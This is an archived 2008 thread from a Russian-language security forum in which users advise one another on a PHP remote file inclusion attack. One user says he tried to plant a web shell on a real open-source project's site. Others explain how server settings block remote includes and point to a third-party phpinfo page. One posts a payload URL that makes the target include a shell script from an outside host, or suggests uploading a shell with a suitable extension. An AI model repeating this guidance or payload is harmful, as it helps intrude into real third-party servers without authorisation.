ANTICHAT — форум по информационной безопасности, OSINT и технологиям
ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию.
Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club,
и теперь снова доступен на новом адресе —
forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.

01.04.2008, 19:26
|
|
Познающий
Регистрация: 26.03.2008
Сообщений: 31
Провел на форуме: 208349
Репутация:
82
|
|
во-первых php код при инклуде будет выполнятся с любым расширеним
во-вторых дело тут не в экранировании нул-байта, а именно в проблеме доступа к удалённому хосту
Последний раз редактировалось Анжелика; 01.04.2008 в 19:30..
|
|
|

01.04.2008, 19:36
|
|
Banned
Регистрация: 19.06.2006
Сообщений: 1,239
Провел на форуме: 1469161
Репутация:
142
|
|
Эмм... и в чём же там дело Ж(. Что делать то:Р
|
|
|

01.04.2008, 19:42
|
|
♠ ♦ ♣ ♥
Регистрация: 18.05.2006
Сообщений: 1,828
Провел на форуме: 8042357
Репутация:
3742
|
|
не надоело тебе сурсфордж ломать? я же сказал в прошлоых постах что там url access disabled + magic quotes on
__________________
Привет! Меня зовут Джордж, и я хотел бы рассказать вам про реинкарнацию (ц) 2x2
|
|
|

01.04.2008, 19:46
|
|
Banned
Регистрация: 19.06.2006
Сообщений: 1,239
Провел на форуме: 1469161
Репутация:
142
|
|
))))))))))))))))))))))). лучшеб объяснил бы, где первое выставляется на серве :Р. А Через Post- запросы тоже чтоль никаг ? о_О...... * Ушёл весь раскрасневшийся*.
|
|
|

01.04.2008, 19:49
|
|
Reservists Of Antichat - Level 6
Регистрация: 25.03.2008
Сообщений: 670
Провел на форуме: 4137635
Репутация:
2407
|
|
Может я ща чё ляпну, но шеллкод разве может исполняться в любом файле ? (шеллкод системная с*ка ) Мошь он просто выдаёт несоответствие расширений, и потому не исполняет. Ждём-с мнение экспертов ).
Я имел в виду не шелл-код а php-шелл 
|
|
|

01.04.2008, 19:51
|
|
♠ ♦ ♣ ♥
Регистрация: 18.05.2006
Сообщений: 1,828
Провел на форуме: 8042357
Репутация:
3742
|
|
urk access disabled выставляется в php.ini
пример http://www.1gb.ru/phpinfo.php ищи строчку allow url open там написано on, значит разрешено. это распространяется на include fopen и все подобные файловые ф-ии которые умеют открывать файлы удаленно, тип запроса не играет роли
__________________
Привет! Меня зовут Джордж, и я хотел бы рассказать вам про реинкарнацию (ц) 2x2
|
|
|

01.04.2008, 20:03
|
|
Постоянный
Регистрация: 24.08.2007
Сообщений: 474
Провел на форуме: 1484154
Репутация:
126
|
|
Сообщение от blackybr
urk access disabled выставляется в php.ini
пример http://www.1gb.ru/phpinfo.php ищи строчку allow url open там написано on, значит разрешено. это распространяется на include fopen и все подобные файловые ф-ии которые умеют открывать файлы удаленно, тип запроса не играет роли
наверное не urk а url
blackybr: ага, описался.
Последний раз редактировалось blackybr; 01.04.2008 в 20:25..
|
|
|

01.04.2008, 20:31
|
|
Banned
Регистрация: 19.06.2006
Сообщений: 1,239
Провел на форуме: 1469161
Репутация:
142
|
|
ВаааЪ пасибки пиплы ^_______________^. Слышал тут про магические кавычки - иё обойти есь шанс о_О ? (Для будущиx восxождений:Р=
|
|
|

01.04.2008, 20:58
|
|
Познающий
Регистрация: 26.03.2008
Сообщений: 31
Провел на форуме: 208349
Репутация:
82
|
|
http://site.com/index.php?page=http://site.ru/shell.php?
или просто залей шелл с нужным раширением
|
|
|

01.04.2008, 22:52
|
|
Banned
Регистрация: 19.06.2006
Сообщений: 1,239
Провел на форуме: 1469161
Репутация:
142
|
|
Ясненько. Кстати , blackybr , Я пытался залить шелл на www.jedit.org, а не сурсфорджнет))
|
|
|
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|